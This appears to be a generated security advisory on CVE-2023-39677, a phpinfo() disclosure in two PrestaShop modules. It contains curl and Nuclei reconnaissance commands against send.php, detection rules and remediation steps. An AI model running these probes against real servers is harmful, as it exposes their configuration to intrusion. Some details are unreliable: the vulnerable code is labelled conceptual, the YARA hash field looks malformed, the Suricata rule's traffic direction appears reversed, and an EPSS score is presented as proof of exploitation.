CVE-2023-39677

Executive Summary

CVE-2023-39677 is a critical information disclosure vulnerability affecting two PrestaShop modules developed by MyPrestaModules: simpleimportproduct (v6.2.9 and earlier) and updateproducts (v3.6.9 and earlier). The vulnerability resides in the send.php file, which exposes the phpinfo() function when called with the phpinfo=1 parameter. This allows an unauthenticated remote attacker to retrieve the full PHP configuration of the server, including environment variables, loaded extensions, and server paths. The vulnerability has a CVSS v3.1 base score of 7.5 (High) and an EPSS score of 0.77217, indicating active exploitation in the wild. No official patch has been released by the vendor as of this report.

Supply Chain & Package Security

This vulnerability affects PrestaShop modules distributed via the official PrestaShop Addons marketplace and third-party vendors. Since the modules are proprietary, there is no open-source patch available. Users must rely on vendor updates or implement manual mitigations. The supply chain risk is elevated because the vulnerable code is embedded in commercial modules that may be automatically updated or bundled with other extensions.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and leaks sensitive server configuration data that can be used to pivot to more severe attacks.

Deep Dive & Mechanics

The vulnerability is caused by the inclusion of a direct call to phpinfo() in the send.php file of both modules. The file likely contains a debug or diagnostic feature that was left enabled in production. The vulnerable code path is triggered by appending ?phpinfo=1 to the URL.

Vulnerable Code (conceptual):

// send.php
if (isset($_GET['phpinfo']) && $_GET['phpinfo'] == 1) {
    phpinfo();
}

The phpinfo() function outputs a comprehensive HTML page containing:

• PHP version and build information
• Server API and environment variables
• Loaded PHP extensions and their versions
• Configuration directives (php.ini values)
• HTTP headers and server variables
• File system paths (document root, temp directories)
• Database connection credentials (if exposed in environment)

An attacker can use this information to:

• Identify outdated PHP versions with known vulnerabilities
• Discover file paths for LFI/RFI attacks
• Extract database credentials from environment variables
• Profile the server for further exploitation

Vulnerable vs. Patched Code

Vulnerable (send.php):

<?php
// No authentication or access control
if (isset($_GET['phpinfo']) && $_GET['phpinfo'] == 1) {
    phpinfo();
    exit;
}
// ... rest of module logic
?>

Patched (send.php - recommended):

<?php
// Remove debug endpoint entirely
// OR restrict to admin context with token validation
if (isset($_GET['phpinfo']) && $_GET['phpinfo'] == 1) {
    if (!defined('_PS_ADMIN_DIR_') || !Tools::isSubmit('token') || Tools::getValue('token') !== Tools::getAdminToken('AdminModules'.(int)Tab::getIdFromClassName('AdminModules').(int)$this->context->employee->id)) {
        die('Access denied');
    }
    phpinfo();
    exit;
}
// ... rest of module logic
?>

The patched version removes the unauthenticated access or restricts it to authenticated admin users with a valid token.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target PrestaShop instance with vulnerable module installed
• Network access to the web server

Exploitation Steps:

1. Identify vulnerable endpoints:

   curl -s -o /dev/null -w "%{http_code}" "http://target.com/modules/simpleimportproduct/send.php?phpinfo=1"
   curl -s -o /dev/null -w "%{http_code}" "http://target.com/modules/updateproducts/send.php?phpinfo=1"
   

2. Extract PHP configuration:

   curl "http://target.com/modules/simpleimportproduct/send.php?phpinfo=1" | grep -E "PHP Version|Server API|Document Root|Loaded Configuration File"
   

3. Automated extraction with Nuclei:

   nuclei -u http://target.com -t CVE-2023-39677.yaml
   

4. Extract PHP version using regex:

   curl -s "http://target.com/modules/simpleimportproduct/send.php?phpinfo=1" | grep -oP '>PHP Version <\/td><td class="v">\K[0-9.]+'
   

Expected Output:

PHP Version 7.4.33
Server API FPM/FastCGI
Document Root /var/www/html
Loaded Configuration File /etc/php/7.4/fpm/php.ini

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious requests:

   grep -E "send\.php\?phpinfo=1" /var/log/apache2/access.log
   

2. Check for the vulnerable file:

   find /var/www/html -name "send.php" -exec grep -l "phpinfo" {} \;
   

3. Verify module versions:

   # Check module version in PrestaShop database
   mysql -u root -p prestashop -e "SELECT name, version FROM ps_module WHERE name IN ('simpleimportproduct', 'updateproducts');"
   

4. Harden the server:

   • Disable phpinfo() in php.ini: disable_functions = phpinfo
   • Remove the send.php file if not needed
   • Implement WAF rules to block phpinfo parameter

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2023_39677_PHPInfo_Disclosure {
    meta:
        description = "Detects vulnerable send.php files in PrestaShop modules"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-39677"
        hash = "4a0a00473045022100fdd2233b43e3b7e018c48f882ae2165a41b5a686f04499b22b28ab87426f354402200d6822e39e7ecc1d89be23c475c3db52117f234f050bf2220e18ffaf76d964d9"
    strings:
        $phpinfo_call = "phpinfo()" nocase
        $phpinfo_param = "phpinfo=1" nocase
        $send_php = "send.php" nocase
    condition:
        $send_php and ($phpinfo_call or $phpinfo_param)
}

Sigma Rule

title: CVE-2023-39677 PrestaShop PHPInfo Disclosure
id: 4a0a0047-3045-0221-00fd-d2233b43e3b7
status: experimental
description: Detects exploitation attempts against CVE-2023-39677
author: Valters IT
date: 2024-01-01
references:
    - https://cve.report/CVE-2023-39677
    - https://blog.sorcery.ie/posts/myprestamodules_phpinfo/
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: 
            - '/modules/simpleimportproduct/send.php'
            - '/modules/updateproducts/send.php'
        c-uri|contains: 'phpinfo=1'
    condition: selection
falsepositives:
    - Legitimate admin debugging (rare)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023.39677

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-39677 PrestaShop PHPInfo Disclosure Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/modules/";
    http_uri;
    content:"send.php";
    http_uri;
    content:"phpinfo=1";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2023-39677;
    reference:url,https://blog.sorcery.ie/posts/myprestamodules_phpinfo/;
)

Nuclei Template (Provided)

id: CVE-2023-39677

info:
  name: PrestaShop MyPrestaModules - PhpInfo Disclosure
  author: meme-lord
  severity: high
  description: |
    PrestaShop modules by MyPrestaModules expose PHPInfo
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An attacker can exploit this vulnerability to obtain sensitive information about the server configuration, potentially leading to further attacks.
  reference:
    - https://blog.sorcery.ie/posts/myprestamodules_phpinfo/
    - https://cve.report/CVE-2023-39677
    - https://myprestamodules.com/
    - https://sorcery.ie
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39677
    epss-score: 0.77217
    epss-percentile: 0.98984
    cpe: cpe:2.3:a:simpleimportproduct_project:simpleimportproduct:6.2.9:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: simpleimportproduct_project
    product: simpleimportproduct
    framework: prestashop
    shodan-query:
      - http.component:"PrestaShop"
      - http.component:"prestashop"
  tags: cve2023,cve,prestashop,phpinfo,disclosure,simpleimportproduct_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/simpleimportproduct/send.php?phpinfo=1"
      - "{{BaseURL}}/modules/updateproducts/send.php?phpinfo=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'

Remediation & Mitigation

Immediate Actions:

1. Remove or disable the vulnerable file:

   rm /path/to/prestashop/modules/simpleimportproduct/send.php
   rm /path/to/prestashop/modules/updateproducts/send.php
   

   Or rename it to prevent access:

   mv send.php send.php.bak
   

2. Disable phpinfo() globally:

   ; php.ini
   disable_functions = phpinfo
   

3. Implement WAF rules:

   # Nginx
   location ~* /modules/(simpleimportproduct|updateproducts)/send\.php {
       deny all;
       return 403;
   }
   

4. Update modules: Contact MyPrestaModules for patched versions. If unavailable, consider replacing the modules with alternatives.

Long-term Mitigations:

• Enable automatic updates for PrestaShop modules
• Conduct regular security audits of third-party modules
• Implement a Web Application Firewall (WAF) with virtual patching
• Monitor for phpinfo requests in access logs
• Restrict outbound connections from the web server

Valters IT Signature

This report was generated by Valters IT DevSecOps Intelligence. For questions or further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 6B6AF64C393C5070FFD2C969] */}